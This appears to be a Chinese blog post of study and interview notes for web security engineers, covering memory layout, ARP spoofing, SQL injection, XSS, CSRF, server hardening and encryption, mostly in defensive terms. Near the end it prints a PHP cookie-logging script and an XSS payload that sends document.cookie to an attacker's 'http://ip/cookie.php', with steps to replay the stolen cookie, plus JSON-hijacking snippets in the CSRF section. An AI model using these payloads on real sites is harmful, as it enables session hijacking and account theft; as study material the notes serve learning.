安全之路的一些参考

江畔何人初见月,江月何年初照人。

安全工程师的学习规划

在网上看到了一个学习规划,目前来看,还是很不错的,记录于此,逐步加深学习:Web安全工程师(学习规划)

一些题目

题目部分收集于网络,加上自己的一些理解与记录。

tcp与udp的区别

堆和栈的区别

1.分配和管理方式不同
堆:动态分配,其空间的分配和释放都由程序员控制
栈:由编译器自动管理
2.产生碎片不同
堆:频繁的new()/delete()malloc()/free()势必会造成内存空间的不连续,造成大量碎片,使程序效率降低
栈:先进后出的队列,永远不可能有一个内存块从栈中间弹出
3.生长方向不同
堆:向着内存地址增加的方向增长
栈:向着内存地址减小的方向增长,由内存的高地址向低地址方向增长

补充:
1.程序在内存中的存放形式:程序运行时,计算机会在内存区域开辟一段连续的内存块,包括
代码段、数据段和堆栈段三部分,分配如图所示:

解释:
代码段(.text): 文本段(Text Segment),存放程序的机器码和只读数据。一般标记为只读,任何对该区的写操作都会导致段错误(Segmentation Fault)

数据段:

  • 已初始化的数据段(.data):保存全局的和静态的已初始化变量
  • .rdata:包含程序中全局可访问的只读数据
  • 未初始化的数据段(.bss):保存全局的和静态的未初始化变量
  • 数据段在编译时分配

2.堆(Heap):位于BSS段的上边,存储程序运行时分配的变量

  • 大小不固定,可动态扩张/缩减。malloc(), new()等内存分配函数实现。当调用new()等函数时,新分配内存被动态添加到堆上(堆扩张);当利用free(), delete()等函数释放内存时,内存从堆中被剔除(堆缩减)
  • 堆内存释放由应用程序控制 通常一个new要对应一个delete,如果程序没有释放,程序结束后操作系统会自动回收

3.栈(Stack):函数调用时的临时信息结构,如函数调用传递的参数、函数返回地址、函数的局部变量等

  • 程序运行时由编译器按需分配,不需要时自动清除
  • 栈的特性: 先进后出(FILO)
  • 栈的基本操作:
    PUSH操作/压栈:向栈中添加数据,数据放置在栈顶;
    POP操作/弹栈:在栈顶移去1个元素,并将栈的大小减1

进程和线程的区别

1.进程:可并发执行的程序在某个数据集合上的一次执行过程,是操作系统资源分配保护调度的基本单位。
2.线程:线程是操作系统进程中能够独立执行的实体(控制流),是处理调度分派的基本单位。

arp欺骗与预防

1.欺骗
在同一个局域网内,主机之间是通过mac地址来相互识别的,但是网络层过来的数据包是ip地址标识的,所以会调用arp协议将ip地址转换为mac地址,然后根据这个mac地址进行数据包的转发,而arp协议原理大概可以理解为去查一份ip-mac地址映射表。

通常情况下,这个表是没有问题的,但是,若攻击者向被攻击者和网关发送相应的伪造的ARP应答包,更改了两者的ARP表。当被工具这和网关进行通信时,根据已更改的ARP表,所有数据都将流向攻击者。通常攻击者还会做一个流量转发,这样被攻击者才不会察觉到被攻击。

2.防御

  • MAC地址绑定
  • 使用静态ARP缓存(arp -s)
  • 使用ARP服务器(确保该服务器不被控制)
  • 使用ARP欺骗防护软件,如ARP防火墙
  • 及时发现进行ARP欺骗的主机,并将其隔离

3.原理(ARP的缺陷):

  • 主机收到应答包后不验证自己是否发送过对应的ARP请求
  • 不验证该回应包是否可信
  • 直接用应答包里的信息替换ARP缓存表中的原有信息

4.检测

  • 网络频繁掉线
  • 网络突然莫名其妙的慢
  • 使用arp –a命令发现网关的MAC地址与真实的网关MAC地址不同
  • 使用网络嗅探软件发现局域网存在大量ARP响应包

关于sql注入

1.概念:
利用Web应用对后台数据库查询语句处理存在的安全漏洞,攻击者提交一段精心构造的数据库查询代码,根据返回的结果,获得他想得知的数据

2.分类
(1)按照注入点类型进行分类

  • 数字型注入
  • 字符型注入

(2)按注入方法进行分类

  • Boolean-based blind(布尔型注入)
  • Time-based blind(基于时间延迟注入)
  • Error-based(报错型注入)
  • UNION query-based(可联合查询注入)
  • Stacked queries(piggy backing,多语句查询注入)

3.SQL注入过程:

  • 寻找可能存在SQL注入漏洞的链接
  • 测试该网站是否有SQL注入漏洞
  • 猜测数据库名称->表->表的列信息(字段)->表内容(数据)
    重点关注用户相关的表
    获取用户名(管理员用户优先)+密码(如果加密,可能需要其他攻击破解)
  • 后续攻击:

4.SQL 注入的防范:

  • 使用预编译语句,绑定变量
  • 对用户提交的数据和输入参数进行严格的过滤:比如过滤逗号,单引号,分号等;如果 select、delete、from、*、union 之类的字符串同时出现多个的话,也要引起重视;最好对用户提交参数的长度也进行判断
  • 摒弃动态 SQL 语句,改用存储过程来访问和操作数据。(考虑 Web 程序需要对数据库进行的各种操作,建立存储过程,让程序调用存储过程来完成数据库操作。这样提交的数据将是作为参数传递给存储过程 )
  • 使用安全函数
  • 最小权限原则:避免 Web 应用直接使用 root、dbowner 等高权限账户直接连接数据库

XSS

1.概念:跨站脚本攻击(Cross Site Script,XSS) :攻击者往Web页面里插入恶意html,JavaScript代码,当用户浏览该网页时,嵌入其中的代码被执行

2.XSS的分类:
反射型XSS(XSS Reflection,非持久性的XSS):简单的将用户输入数据“反射”给浏览器,黑客需要诱导用户点击一个恶意链接

存储式XSS(Stored XSS):攻击脚本永久存储在目标服务器数据库或者文件中,比如黑客写下一篇含有恶意JavaScript代码的博客文章

DOM型XSS:利用客户端浏览器对请求的页面进行DOM渲染(DOM XSS的代码并不需要服务器解析响应,而是浏览器的DOM解析触发)

3.防御

  • 对前端输入做过滤和编码:比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等,输入检查需要在服务器端完成,在前端完成的限制是容易绕过的;
  • 对特殊字符进行过滤和转义;
  • 对输出做过滤和编码:在变量值输出到前端的HTML时进行编码和转义;
  • 给关键cookie使用http-only
  • 保护所有敏感的功能,以防被机器人自动执行或者被第三方网站所执行。可采用的技术:session标记(session tokens)、验证码
  • 如果web应用必须支持用户提交HTML,安全性将灾难性的下滑。但还是可以做一些事来保护web站点:确认你接收的HTML内容被妥善地格式化,仅包含最小化的、安全的tag(绝对没有JavaScript),去掉任何对远程内容的引用(尤其是CSS样式表和JavaScript)

CSRF

1.跨站请求伪造(Cross Site Request Forgery)原理:

2.CSRF的攻击方式
HTML CSRF

<link href="">
<img src="">

<script src="">
<video src='’>
Backgroud:url('')

JSON HiJacking

构造自定义的回调函数,http://www.b.com/csrf.html
<script>
    function hijack(data){console.log(data)};
</script>
<script src="http://www.a.com/json?callback=hijack">

Flash CSRF

通过 Flash 来实现跨域请求
import flash.net.URLRequest;
function get(){
    var url = new URLRequest('http://a.com/json?callback=hijack');
    url.method='GET';
    sendToURL(url);
};

3.CSRF防御

  • 通过验证码进行防御
  • 通过Referer Check检查请求来源(很容易被绕过)
  • 增加请求参数 token
  • 用户登录后随机生成一段字符串并存储在Session中
  • 在敏感操作中加入隐藏标签,value即为Session中保存的字符串
  • 提交请求,服务器拿Session与Token对比
  • 更新Token

owasp top 10

Web服务器主机系统的安全配置

1.简单性

主机系统越简单,其安全性就越好。最好把不必要的服务从服务器上卸载掉

2.超级用户权限

  • 超级用户权限几乎等同于主机控制权,往往是攻击者最高目标
  • 尽量不用超级用户来维护系统。除非必要,否则不给予用户超级权限。非专业人员往往会因操作上的疏忽而使用户权限泄漏

3.本地和远程访问控制

  • 访问控制是用来指定哪些用户可以访问系统的特定数据、目录或功能。应该实现一套有效的身份验证机制,并包含用户的日志记录
  • 当用户使用服务时,验证身份并记录其行为。如用户出现破坏安全的行为,这些记录将是审核的重要依据
  • 应该保护这些日志,以防被攻击者破坏借以逃避追查

4.审计和可审计性

  • 维护主机安全是管理员的责任,但管理员并不是完美的。因此,对主机系统的安全审核很重要
  • 主要指平时对记录进行审计,在系统生成的大量审计记录中查找可疑数据,查找攻击者或恶意程序的踪迹

5.恢复

  • 配置实时或增量备份策略是非常必要的,在紧急关头可以使得服务器的关键数据得以保存,从而可以迅速恢复服务以减少损失,同时便于事后取证的进行,以追查入侵者

Web服务器的安全配置之IIS:

1.IIS的安全安装

  • 不要将IIS安装在系统分区上
  • 修改IIS的安装默认路径
  • 打上Windows和IIS的最新补丁

2.IIS的安全配置

  • 删除不必要的虚拟目录:
    安装后在C:\Inetpub\wwwroot下默认生成一些目录,包括IISHelp、IISAdmin、IISSamples、MSADC等,可直接删除
  • 删除危险的IIS组件:
    默认安装的一些IIS组件可能会造成安全威胁,例如SMTP Service和FTP Service、样本页面和脚本,根据需要决定是否删除
  • 为IIS中的文件分类设置权限:
    除在操作系统里为IIS的文件设置必要的权限外,还要在IIS管理器中设置权限
    好的设置策略: 为Web 站点上不同类型的文件都建立目录,然后给它们分配适当权限。例如:静态文件文件夹允许读、拒绝写,脚本文件夹允许执行、拒绝写和读取
  • 删除不必要的应用程序映射:
    IIS中默认存在很多种应用程序映射,可以对它进行配置,删除不必要的应用程序映射
  • 修改IIS日志的存放路径:
    IIS日志默认存放在%WinDir%\System32\LogFiles,黑客非常清楚,所以最好修改存放路径
    Internet信息服务->属性->网站目录属性->Web站点->选中“启用日志记录”->属性->“常规属性”->浏览或者直接在输入框中输入日志存放路径即可
  • 修改日志访问权限,设置只有管理员才能访问

基于Unix/Linux系统Web服务器安全配置:

  • 不以root运行web服务器
  • 限制在WEB服务器开账户,定期删除一些用户
  • 对WEB服务器上的账户,在口令长度及定期更改方面作出要求,防止被盗用。同时注意保护用户名、组名及相应的口令
  • 尽量使FTP、MAIL等服务器与之分开,去掉ftp,sendmail,tftp,NIS, NFS等一些无关应用
  • 定期查看日志文件,分析一切可疑事件。在errorlog中出现rm、login、/bin/perl、/bin/sh等之类记录时,服务器可能已经受到一些非法用户的入侵
  • 文件访问控制:设置WEB服务器上系统文件的权限和属性,对可公开访问的文档分配一个公用的组,如WWW,并分配只读权限。把所有的HTML文件归属WWW组,由WEB管理员管理WWW组。WEB配置文件仅对WEB管理员有写的权利
  • 对不同目录设置不同的属性,如Read、Excute、Write
  • 在WEB服务器上去掉一些不用的脚本解释器,例如:当在你的CGI的程序中没用到perl时,就尽量把perl在系统解释器中删除掉

Web 浏览器的安全措施:

  • 对浏览器的安全性进行设置:以IE为例,工具Internet选项->安全->自定义级别,根据需要进行设置
  • 经常对操作系统打补丁、升级
  • 使用漏洞数较少的浏览器,如Firefox
  • 经常对浏览器进行升级
  • 不要因为好奇而打开一些不信任的网站

对称加密 非对称加密

对称加密:加解密用同一密钥,密钥维护复杂 n(n-1)/2,不适合互联网传输密钥,加解密效率高。应用于加密数据。

非对称加密:公钥推不出私钥,每个用户一个非对称密钥对就可以,适合于互联网传输公钥,但是加密效率低,应用于数字签名及加密。

什么是同源策略(SOP, Same-Origin Policy)

为了防止不同域在用户浏览器中彼此干扰,浏览器对从不同来源(域)收到的内容进行隔离。
浏览器不允许任何旧有脚本访问一个站点的cookie,否则,会话容易被劫持。

只有发布cookie的站点能够访问这些cookie,只有通过该站点返回的页面所包含或加载的JavaScript才能访问cookie。

cookie存在哪里

C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies
工具--文件夹选项--查看--将隐藏被保护的文件的对勾去掉就会看到cookies文件夹。

xss如何盗取cookie

攻击者代码:

<?php
$cookie=$_GET['cookie'];
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$cookietxt=fopen('cookie.txt','a');
fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer.""); 注意双引号,容易出错
fclose($cookietxt);
?>

脚本端:

<script>
document.write('<img src="http://ip/cookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');
</script>

获取到cookie后,用firebug找到cookie,新建cookie
加入cookie,用referer来提交,无需输入帐号密码直接登录进去!

一些网上的题目

这里,主要先记下来,慢慢完善

对称加密非对称加密?
什么是同源策略?
cookie存在哪里?可以打开吗
xss如何盗取cookie?
tcp、udp的区别及tcp三次握手,syn攻击?
证书要考哪些?
DVWA是如何搭建的?
渗透测试的流程是什么
xss如何防御
IIS服务器应该做哪些方面的保护措施:
虚拟机的几种连接方式及原理
xss有cookie一定可以无用户名密码登录吗?

1.SQL注入。是什么?有哪些应对措施?预处理语句的原理是什么?
2.CSRF。是什么?有哪些应对措施?优缺点?
3.XSS。是什么?分类?有哪些应对措施?这些应对措施的优缺点?
4.列举这几年爆出的较为严重的漏洞。漏洞影响的版本号,漏洞原理是什么?
5.DDoS。是什么?有哪些分类?有哪些应对措施。
6.sqlmap源码读过吗?讲讲。
7.从输入网址到看到响应内容的整个过程发生了什么?越详细越好。
8.渗透测试流程。

  1. 网络安全、Web安全、渗透测试笔试总结
  2. web安全岗面试题收集
  3. 安全工程师面试经验
posted @ 2021-12-12 17:57  煊奕  阅读(41)  评论(0编辑  收藏  举报